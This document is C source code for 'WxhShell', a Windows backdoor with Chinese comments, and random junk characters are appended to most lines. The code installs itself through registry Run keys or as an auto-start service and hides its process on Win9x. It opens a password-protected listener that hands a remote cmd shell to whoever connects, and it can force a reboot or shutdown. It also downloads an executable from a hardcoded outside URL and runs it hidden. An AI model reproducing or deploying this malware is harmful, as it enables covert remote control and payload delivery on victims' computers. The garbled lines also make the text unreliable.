>,"sHm}l%
if(!OsIsNt) { ,=|4:F9
// 如果时win9x，隐藏进程并且设置为注册表启动 ` W4dx&
HideProc(); rjUBLY1(
StartWxhshell(lpCmdLine); CWi8Fv
} 0(gq;H5x'
else QU/fT_ORw
if(StartFromService()) Uk,g> LG
// 以服务方式启动 QHzgy?
StartServiceCtrlDispatcher(DispatchTable); z(me@P!D~
else >)Gd:636+
// 普通方式启动 +`.,| |Mq
StartWxhshell(lpCmdLine); F;u_7OM
x=]S.XI
return 0; -U-P}6^
} 5M:D?9E+
5ZK&fKeCF
d~@q%-`lA
/r^[a,Q#x
=========================================== b9Y_!Qe
m'x;,xfY&F
b,@aqu
C>X|VP|C
tnb$sulc+
VFj(M j`}G
" /0lC KU!=
=eBmBn
#include <stdio.h> z/7$NxJH
#include <string.h> 3;_ n{&
#include <windows.h> >A}0Ho
#include <winsock2.h> LA4<#KP
#include <winsvc.h> ;`(R7X *3
#include <urlmon.h> MBw-*K'?zB
8IGt4UF&?
#pragma comment (lib, "Ws2_32.lib") _1|$P|$P.
#pragma comment (lib, "urlmon.lib") /L v1$~
7I}P*%(f
#define MAX_USER 100 // 最大客户端连接数 #BY`h~&T
#define BUF_SOCK 200 // sock buffer #@qN8J}R
#define KEY_BUFF 255 // 输入 buffer OeElMRU"
SfB8!V|;
#define REBOOT 0 // 重启 m"d/b~q
#define SHUTDOWN 1 // 关机 i]o"_=C
W7=V{}b+
#define DEF_PORT 5000 // 监听端口 OBOwz4<
T_;]fPajjD
#define REG_LEN 16 // 注册表键长度 DlTR|(AL
#define SVC_LEN 80 // NT服务名长度 R7?29?$7
|`O7nOM
// 从dll定义API `rb>K
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gfy19c 9
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g"hJ{{<
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vl:J40Kfn
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'bu)M1OLi
w%a8XnW]1
// wxhshell配置信息 GABQUmtH
struct WSCFG { PJLR<9
int ws_port; // 监听端口 ]@ M5_%p
char ws_passstr[REG_LEN]; // 口令 vF4]ux&
int ws_autoins; // 安装标记, 1=yes 0=no |L::bx(
char ws_regname[REG_LEN]; // 注册表键名 #X`8dnQZ
char ws_svcname[REG_LEN]; // 服务名 K84^Oq
char ws_svcdisp[SVC_LEN]; // 服务显示名 cpZc9;@IC
char ws_svcdesc[SVC_LEN]; // 服务描述信息 S%mfs!E>
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "y;bsZBd"
int ws_downexe; // 下载执行标记, 1=yes 0=no F{m{d?:OA
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !EBY@ Y1
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z[nS$]u
0g=`DSC<(
}; E167=BD9<
e3[:D5
// default Wxhshell configuration T~xwo
struct WSCFG wscfg={DEF_PORT, 3 hKBc0
"xuhuanlingzhe", }< 5F
1, {i [y9
"Wxhshell", pz|'l:v^
"Wxhshell", E JK0
"WxhShell Service", TNwKda+
"Wrsky Windows CmdShell Service", p(JlvJjo
"Please Input Your Password: ", c EnkU]
1, <a^Oj LLU
"http://www.wrsky.com/wxhshell.exe", BR5BJX
"Wxhshell.exe" LT@OWH
}; 1X1 NtS@
;_?MX/w|&
// 消息定义模块 !>$4]FkV
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uJU*")\V
char *msg_ws_prompt="\n\r? for help\n\r#>"; ZC0-wr\
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g"_C,XN
char *msg_ws_ext="\n\rExit."; <skajQQ
char *msg_ws_end="\n\rQuit."; oG oK,
char *msg_ws_boot="\n\rReboot..."; Shr,#wwM`B
char *msg_ws_poff="\n\rShutdown..."; FnFb[I@eu
char *msg_ws_down="\n\rSave to "; G"SBYU
{zLhiUH a0
char *msg_ws_err="\n\rErr!"; 3ec`Wa
char *msg_ws_ok="\n\rOK!"; iw9Q18:I}
OE`X<h4r
char ExeFile[MAX_PATH]; =aG xg57
int nUser = 0; -yAQ
HANDLE handles[MAX_USER]; Q \hY7Xq'
int OsIsNt; s)J(/
#qBr/+b
SERVICE_STATUS serviceStatus; OO) ~HV4\
SERVICE_STATUS_HANDLE hServiceStatusHandle; +IFw_3$
/=?x{(B>
// 函数声明 #Pk$L+C
int Install(void); YDJ4c;37
int Uninstall(void); nIk$7rGLB
int DownloadFile(char *sURL, SOCKET wsh); XXZaKgsq
int Boot(int flag); U(>4s]O6
void HideProc(void); 6IcNZ!j98
int GetOsVer(void); H}}$V7]^),
int Wxhshell(SOCKET wsl); *e>]~Z,
void TalkWithClient(void *cs); 7[#yu2
int CmdShell(SOCKET sock); _qwQ;!9
int StartFromService(void); ;,h/
int StartWxhshell(LPSTR lpCmdLine); Kv&g5&N,
CY:d`4
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~uWOdm-"[
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 13k !'P
(2ot5x}`j
// 数据结构和表定义 g|X;ahTT
SERVICE_TABLE_ENTRY DispatchTable[] = =8Jfgq9E
{ M~e0lg8
{wscfg.ws_svcname, NTServiceMain}, k%c{ETdE
{NULL, NULL} dUrElXbXd
}; ;|T!#@j
&)d$t'7p
// 自我安装 BR`ygrfe
int Install(void) df}r% i
{ <W8t|jt
char svExeFile[MAX_PATH]; Vv.r8IGYm
HKEY key; z;tI D~Y
strcpy(svExeFile,ExeFile); c_grPk2O4
796\jf$
// 如果是win9x系统，修改注册表设为自启动 HSUI${<
if(!OsIsNt) { 0oZsb\
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g#]" hn
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jzji&A~
RegCloseKey(key); f"[J"j8
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *D}0[|O
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f5*k7fg
RegCloseKey(key); <*ZJaBwWU~
return 0; 4rT*tW"U
} 8`>h}Q$
} 5zJj]A
} ^FmU_Q0
else { "Mw[P [w*
7"F*u :
// 如果是NT以上系统，安装为系统服务 #AkV/1Y
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h0--B]f@
if (schSCManager!=0) !l?.5Pm])
{ $4kH3+WJ
SC_HANDLE schService = CreateService 8I20*#
( GG064zPq7
schSCManager, 'VyM{:8
wscfg.ws_svcname, Bs+(L [Z
wscfg.ws_svcdisp, h` U?1xS
SERVICE_ALL_ACCESS, =uk0@hy9b
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , NL=|z=q
SERVICE_AUTO_START, C (n+SY^
SERVICE_ERROR_NORMAL, J?@DGp+t
svExeFile, EC2+`HJ"
NULL, EKEjv|_)
NULL, $EZN1\
NULL, ZX!r1*c 6
NULL, $n^MD_1!
NULL @bM2{Rh:
); o+`6LKg;
if (schService!=0) l&4,v
{ <U5wB]]
CloseServiceHandle(schService); uzmk6G v
CloseServiceHandle(schSCManager); 4'j sDcs
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F^"_TV0va
strcat(svExeFile,wscfg.ws_svcname); `e9$,h|4
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q?ahr~qo
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M#"524Nz
RegCloseKey(key); 4a0:2 kIKa
return 0; [${ QzO
} !-2R;yo12
} 'j^xbikr
CloseServiceHandle(schSCManager); ]V %.I_
} D0k 8^
} \P} p5k[
H1<>NWm!v7
return 1; 3~,d+P
} ]-oJ[5cQ0v
mK+IEZV<3
// 自我卸载 {FRAv(,\
int Uninstall(void) 2"|2a@
{ [b%:.bjY
HKEY key; B\J^=W+`
9TF f8'?d
if(!OsIsNt) { GRb*EeT
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T2}FYVj?!g
RegDeleteValue(key,wscfg.ws_regname); S6}@I ,Q
RegCloseKey(key); ,fK3ZC
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "|;:>{JC
RegDeleteValue(key,wscfg.ws_regname); lzw3=H
RegCloseKey(key); ,NnhHb2\
return 0; rG#Z=*b%
} +iRq8aS_
} .Ha'p.
} A+y
else { ;\EiM;Q]
CTWn2tpW
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t+5E#!y
if (schSCManager!=0) mj|)nOd
{ &_JD)mM5
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CkJCi
if (schService!=0) 7.DtdyM
{ VrZ>bma;
if(DeleteService(schService)!=0) { ^w]/
CloseServiceHandle(schService); lb'GXd%
CloseServiceHandle(schSCManager); vN2u34
return 0; d(g^M1m
} [ W2fd\4
CloseServiceHandle(schService); 91Uj}n%
} iX0iRC6f
CloseServiceHandle(schSCManager); pF ^#}L
} #cj6{%c4
} fc/ &X
MCU_Z[N#10
return 1; *~m+Nc`D,N
} 8ElKD{.BU8
Z%I
// 从指定url下载文件 [tMZ G%h
int DownloadFile(char *sURL, SOCKET wsh) jTLSdul+
{ z4&iK)x
HRESULT hr; u:aW 8
char seps[]= "/"; TCT57P#b
char *token; I^oE4o
char *file; YF+n b.0.
char myURL[MAX_PATH]; dw.F5?j`b
char myFILE[MAX_PATH]; Wf{O[yL*
V([~r,
strcpy(myURL,sURL); P&Pj>!T5
token=strtok(myURL,seps); : tWU .f#
while(token!=NULL) MxyN\Mq'
{ J8Yd1.Qj
file=token; spasB=E
token=strtok(NULL,seps); A'G@uD@3
} +~xnXb1
&$`yo`
GetCurrentDirectory(MAX_PATH,myFILE); )lJao
strcat(myFILE, "\\"); F)z;Z6{t4
strcat(myFILE, file); ^$&k5e/}C
send(wsh,myFILE,strlen(myFILE),0); E*#]**
send(wsh,"...",3,0); ?$e9<lsQq)
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VUI|.76g
if(hr==S_OK) tzy'G"P|
return 0; nFe%vu8a
else %,hV[[@.
return 1; aR,}W\6M
TYI7<-Mp:[
} >vuY+o;B
wvrrMGU)a
// 系统电源模块 7\ nf:.
int Boot(int flag) 9CCkqB/
{ *D'$"@w3
HANDLE hToken; q~o,WZG
TOKEN_PRIVILEGES tkp; +za8=`2o
U^qt6$bK
if(OsIsNt) { S1/`th
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "R8KQj
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Hcc"b0>}{
tkp.PrivilegeCount = 1; %Th>C2\
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M-i_#EWP
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &Q}*+Y]G
if(flag==REBOOT) { Xn~I=Ml d
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &-5_f*{
return 0; _-5,zPR
} rp5(pV7*
else { BUwONF
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P ~PIMkt
return 0; o[H{(f1%
} :SxW.?[%u
} v\`9;QV5
else { p-+K4
if(flag==REBOOT) { 8EVgoJ.
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BL 3gKx.'
return 0; :ujCr.
} TNQP"9[?
else { s}pIk.4ot!
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #z1H8CFL"
return 0; )"+(butI&
} !?^b[ nC%
} v=('{/^~>
8p-=&cuo\@
return 1; H5D*|42
} y^7}oH _
CR2_;x:0
// win9x进程隐藏模块 g@\fZTO
void HideProc(void) nI0[;'Hn,
{ Tr^nkD{
[b:e:P 2
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :8A!HI}m{
if ( hKernel != NULL ) ~q&pF"va8
{ .'a&33J
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !45.puL0
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7bDHXn
FreeLibrary(hKernel); wu"&|dt
} xV%6k{_:G
c*UvYzDZL
return; qH['09/F6
} X*,Kb(3
=!m}xdTP
// 获取操作系统版本 u !!X6<
int GetOsVer(void) $cu00K
{ Zs<KZGn-B
OSVERSIONINFO winfo; P]z[v)}
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]jpu,jz:
GetVersionEx(&winfo); b~-%c_
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .k[o$z\EkF
return 1; x1 1U@jd+1
else )*c>|7G
return 0; <w\:<5e'
} "[:iXRu
K!,<7[MBg
// 客户端句柄模块 U?.9D
int Wxhshell(SOCKET wsl) jSc#+_y
{ (@WA1oNG
SOCKET wsh; 0EJ(.8hwm
struct sockaddr_in client; 7)%+=@
DWORD myID; 67y Tvr@a
h_d<!
while(nUser<MAX_USER) CkswJ:z)sc
{ j1 =`|
int nSize=sizeof(client); cwV]!=RtO
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gl&5l1&
if(wsh==INVALID_SOCKET) return 1; "`[!Lz
tTU=+*Io
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X>?b#Eva
if(handles[nUser]==0) n&A'C\
closesocket(wsh); ^T~gEv
else q64k7<C,
nUser++; 16SOIT
} upvS|KUil
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l]<L [Y,E-
moVbw`T
return 0; sdCvG R e
} P=1I<Pew
}h 3K@R
// 关闭 socket .vG,fuf8
void CloseIt(SOCKET wsh) s}j1"@
{ _bD/D!|
closesocket(wsh); ~afg)[(
nUser--; ddVa.0Z!<
ExitThread(0); G^"Vo x4
} 7RDDdF E!
eiJ2NwR\w
// 客户端请求句柄 0j(M* sl
void TalkWithClient(void *cs) <5=JE*s$NS
{ ,7XtH>2s
SR*wvQnOx
SOCKET wsh=(SOCKET)cs; H'F6$ypoS
char pwd[SVC_LEN]; 5'a3huRtV
char cmd[KEY_BUFF]; b3YO!cJ
char chr[1]; PQ|69*2G
int i,j; 7w;O}axI
2BCtJ`S`
while (nUser < MAX_USER) { JY!l!xH(6
7=]i~7uy
if(wscfg.ws_passstr) { %zU`XVNN+
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =uDgzdDyE
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -*2Mf Mh
//ZeroMemory(pwd,KEY_BUFF); :fk2]{KTL
i=0; '8j$';&`
while(i<SVC_LEN) { 6WoAs)ZF
Xtq{%
// 设置超时 ?X?&~3iD%
fd_set FdRead; i ZL2p>
struct timeval TimeOut; c"!lwm3b
FD_ZERO(&FdRead); |#l=
FD_SET(wsh,&FdRead); Z>)][pL
TimeOut.tv_sec=8; 1y^K/.5-
TimeOut.tv_usec=0; )6~1 ^tD
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d3^OEwe
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Jx#k,Z4
v+"rZ
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H UoyLy
pwd=chr[0]; !6&W,0<
if(chr[0]==0xd || chr[0]==0xa) { | nJZie8m
pwd=0; qNyzU@
break; /WPv\L
} L}#0I+Ml7
i++; )rLMIk
} u9=SpgB#
G#Ou[*O'
// 如果是非法用户，关闭 socket #GaxZ
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |lH;Fq{\
} j'i0*"x
qW 1V85FG
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :Sg_tOf
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p (FlR?= S
(wmBjQ]B<
while(1) { wiX~D
hC_Vts[v/
ZeroMemory(cmd,KEY_BUFF); \n0Oez0z!B
2}?wYI*:5|
// 自动支持客户端 telnet标准 l:]Nn%U(>
j=0; &/.hx(#d
while(j<KEY_BUFF) { VE2tq k%
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;DnUQj
cmd[j]=chr[0]; c^8o~K>w84
if(chr[0]==0xa || chr[0]==0xd) { TST4Vy3
cmd[j]=0; >Q,zNs
break; ECa$vvK m
} 9s +z B
j++; -VDo[Zy
} nxQ?bk}*d
ZWV|# c<G
// 下载文件 mYB`)M*Y
if(strstr(cmd,"http://")) { @+U,Nzd
send(wsh,msg_ws_down,strlen(msg_ws_down),0); H(0q6~|
if(DownloadFile(cmd,wsh)) 9@$,oM=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^0W(hA
else 52zGJ I*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &p<(_|Af
} \F,DA"K_
else { iV.p5FD
.'[/|4H
switch(cmd[0]) { ,G^[o,hS
v}J;ZIb
// 帮助 Hg}I]!B
case '?': { {mE! Vf
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p<WFqLe(":
break; 7=4A;Ybq
} VVWM9x
// 安装 RaSz>-3d
case 'i': { e2$]g>
if(Install()) .V6-(d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E& 36H
else XM Vq-8B0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SN+S6
break; BdbJ< Is
} FqA3{
// 卸载 /7$mxtB5%L
case 'r': { 47 u@4"M
if(Uninstall()) E(<LvMiCa
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +V v+K(lh$
else z*~YLT&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $7I]`Jt
break; _8K%`6!"Z
} 9Z\z96O-
// 显示 wxhshell 所在路径 V'Y{v
case 'p': { *.y'(tj[
char svExeFile[MAX_PATH]; aI#4H+/
strcpy(svExeFile,"\n\r"); #`tD1T{;
strcat(svExeFile,ExeFile); yeD_j/
send(wsh,svExeFile,strlen(svExeFile),0); 'Tb0-1S?
break; ?SY<~i<K-
} 71B3a
// 重启 YTY%#"
case 'b': { 4YbC(f
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZofHic
if(Boot(REBOOT)) U2*6}c<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `0BdMKjA
else { a ib}`l
closesocket(wsh); FyD.>ot7M
ExitThread(0); @%i>XAe#0
} (0*v*kYdL+
break; g jG2
} mp`PE=
// 关机 O{KB0"s>i
case 'd': { D#sf i,O
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~] =?b)B
if(Boot(SHUTDOWN)) ((3t:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t\5c@j p
else { vW.%[]
closesocket(wsh); %u]6KrG18b
ExitThread(0); #t71U a
} RJJ1
break; sV0Z
} l%"`{
// 获取shell <4F7@q,V
case 's': { ;:#U6?=t
CmdShell(wsh); ='/Z;3jt]x
closesocket(wsh); {V2bU}5 [
ExitThread(0); !Cj(A"uqY
break; }6~)bLzI}
} KvFR8s
// 退出 V> a*3D
case 'x': { 5]"BRn1*
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5 Rz/Ri\c=
CloseIt(wsh); <A~GW 'HB
break; ZL91m`r
} ,zgNE*{Y"4
// 离开 N2~$rpU3
case 'q': { cIw eBDl
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;bHfn-X
closesocket(wsh); hjY0w
WSACleanup(); x72G^`Wv
exit(1); ?M&4pO&Y
break; OCx5/ 88X
} ~"mj;5Id
} NM L|"R;
} 0M!0JJy#*
OAok
// 提示信息 PKtU:Eg
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z*bC#s?
} GAU!_M5N
} yKDZ+3xK]
7Jx%JgF
return; )*[ ""&
} .)ST[G]WK
O<`R~
// shell模块句柄 &telCg:
int CmdShell(SOCKET sock) _om[VKJd
{ w??c1)
STARTUPINFO si; S[U/qO)m
ZeroMemory(&si,sizeof(si)); N#Ag'i4HF
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X(GV6mJ4
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }'`xu9<
PROCESS_INFORMATION ProcessInfo; Xu]h$%W
char cmdline[]="cmd"; 1pCkWe
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7zI5PGWw
return 0; V<-htV
} *-z4<LAa
:ej_D}
// 自身启动模式 AP@<r
int StartFromService(void) 3i(Jon/p
{ S8*>kM'
typedef struct >-<F)
{ ,Oi^ySn
DWORD ExitStatus; $xcv>
DWORD PebBaseAddress; !QTPWA
DWORD AffinityMask; $I(}r3r
DWORD BasePriority; 7)PJ:4IqS
ULONG UniqueProcessId; 1 ;Ju]
ULONG InheritedFromUniqueProcessId; G;2[
} PROCESS_BASIC_INFORMATION; ?>)yKa#U
/| f[us-w
PROCNTQSIP NtQueryInformationProcess; uo 4xnzc
?waebuj>
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]^!}*
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T&4fBMBp,%
(fd[P|G_]
HANDLE hProcess; QT_^M1%
PROCESS_BASIC_INFORMATION pbi; )d_U)b7i
w-dI<s
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [|z'"Gk{
if(NULL == hInst ) return 0; WgZ@N
".M:`BoW4
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 28+HKbgK
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lbofF==(
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z`@z
82.HH5Z{
if (!NtQueryInformationProcess) return 0; gUb "3g0
w06gY
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #W^_]Q=5R'
if(!hProcess) return 0; \d5}5J]a&n
Fva]*5
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &[)D]UL
9F)W19i.
CloseHandle(hProcess); 0lf"w@/
/1N)d?Pcl
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Xr2 Wa
if(hProcess==NULL) return 0; }JGq1
%Y 2G
HMODULE hMod; rT<1S?jR
char procName[255]; `r9^:TMN
unsigned long cbNeeded; CwB] )QV?
43F^J%G
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :P"9;$FY
`=v@i9cTZ
CloseHandle(hProcess); DZ%8 |PmB
5IO3 %p?
if(strstr(procName,"services")) return 1; // 以服务启动 _;VYFs
.Map
return 0; // 注册表启动 |QMT A5
} Y}ky/?q
@QX4 \
// 主模块 c*jr5 Y
int StartWxhshell(LPSTR lpCmdLine) acy"ct*I
{ 4zwif&
SOCKET wsl; 5Ny0b|+p
BOOL val=TRUE; !&6-(q9
int port=0; WSSaZ9 =
struct sockaddr_in door; T5V$wmB\W
Ul9b.`6
if(wscfg.ws_autoins) Install(); =3pD:L
Lm.Ik}Gli
port=atoi(lpCmdLine); fW[_+r]
?Cc$]
if(port<=0) port=wscfg.ws_port; .;j"+Ef
y "<JE<X
WSADATA data; }Uq/kei^P
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ![j(o!6&
;wpW2%&
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; R<t&F\>
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8db6(Q~P
door.sin_family = AF_INET; *eMLbU7
door.sin_addr.s_addr = inet_addr("127.0.0.1"); r@;$V_I
door.sin_port = htons(port); '2j~WUEmg
U<|B7t4M
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "hfw9Qm
closesocket(wsl); : qr}M
return 1; @!Y.935/0
} z{AM2Z
2pw>B%1WP)
if(listen(wsl,2) == INVALID_SOCKET) { jw/wcP
closesocket(wsl); J511AoQ{R
return 1; &,F elB0*
} 40rZ~!}
Wxhshell(wsl); ;\1b{-' l
WSACleanup(); 5,Qy/t}K
:E}6S
return 0; &(GopWR`e
8 `yB
} +)% ,G@-`
_%XbxP6rH
// 以NT服务方式启动 +~@7" |d
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tYF$#Nor#k
{ K T%i,T
DWORD status = 0; ya;@<b
DWORD specificError = 0xfffffff; 9{T 8M
"Fo
serviceStatus.dwServiceType = SERVICE_WIN32; p^}L
serviceStatus.dwCurrentState = SERVICE_START_PENDING; g6HphRJ5s
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9$n+-GSK
serviceStatus.dwWin32ExitCode = 0; 7O]J^H+7
serviceStatus.dwServiceSpecificExitCode = 0; "Wxo[I
serviceStatus.dwCheckPoint = 0; ?]759,Q3L
serviceStatus.dwWaitHint = 0; ;B,nzx(L
6oPUYn-
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^f!Zr
if (hServiceStatusHandle==0) return; 8Ix-i
$b&BH'*'~
status = GetLastError(); ,M| QN*
if (status!=NO_ERROR) PEK.Kt\M
{ GP0[Y
serviceStatus.dwCurrentState = SERVICE_STOPPED; cu)@P0I
serviceStatus.dwCheckPoint = 0; [%HYh7ua<
serviceStatus.dwWaitHint = 0; .dy#n`eP
serviceStatus.dwWin32ExitCode = status; (K!M*d+
serviceStatus.dwServiceSpecificExitCode = specificError; v#{G8'+%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); nYmf(DV
return; mrw]yu;2<n
} 8') .ohD
};4pZceV
serviceStatus.dwCurrentState = SERVICE_RUNNING; \H},ouU
serviceStatus.dwCheckPoint = 0; B4PW4>GF
serviceStatus.dwWaitHint = 0; g/fp45s
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ly9x1`?$
} yd\5Z[iEp
Krt$=:m|1
// 处理NT服务事件，比如：启动、停止 f>.`xC{
VOID WINAPI NTServiceHandler(DWORD fdwControl) v)wY
{ FF5tPHB
switch(fdwControl) 6:e}v'q{
{ z_5rAlnwT.
case SERVICE_CONTROL_STOP: kxt\{iy4
serviceStatus.dwWin32ExitCode = 0; ]Om'naD
serviceStatus.dwCurrentState = SERVICE_STOPPED; ahK?]:&QO
serviceStatus.dwCheckPoint = 0; BYhmJC|
serviceStatus.dwWaitHint = 0; -6.i\ B
{ {o Q(<&Aw
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yg\{S<wr
} 5]A$P\7~1
return; P]~N-xdV
case SERVICE_CONTROL_PAUSE: fzq'S]+
serviceStatus.dwCurrentState = SERVICE_PAUSED; ;$E~ZT4p
break; \SoYx5lf
case SERVICE_CONTROL_CONTINUE: KqT#zj
serviceStatus.dwCurrentState = SERVICE_RUNNING; \<0G kp
break; FN{H\W1cf
case SERVICE_CONTROL_INTERROGATE: xkk@{}J\
break; Qivf|H619
}; <DA{\'jJ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); w!=_
} [u!p-
ze#rYNvo/
// 标准应用程序主函数 NgmO0H
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pe`TH::p
{ 2tg/S=t}
GqmDDL1
// 获取操作系统版本 <-Kb@V3
OsIsNt=GetOsVer(); o(v"?Y6
GetModuleFileName(NULL,ExeFile,MAX_PATH); &etL&s v
0xvMR&.H
// 从命令行安装 Cy`<^_i
if(strpbrk(lpCmdLine,"iI")) Install(); F)[XIY&2/
s0X/1Cq
// 下载执行文件 HM(bR"E
if(wscfg.ws_downexe) { -52@%uB
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TsFV ;Sl3
WinExec(wscfg.ws_filenam,SW_HIDE); kx;xO>dC
} B` t6H
8gu'dG=
if(!OsIsNt) { wI1M0@}PV
// 如果时win9x，隐藏进程并且设置为注册表启动 &sr:\Qn X/
HideProc(); PU]7c2.y
StartWxhshell(lpCmdLine); jWO&SWso
} )D6'k{6M
else : pE-{3I
if(StartFromService()) +Tgy,oD0
// 以服务方式启动 F1{?]>G
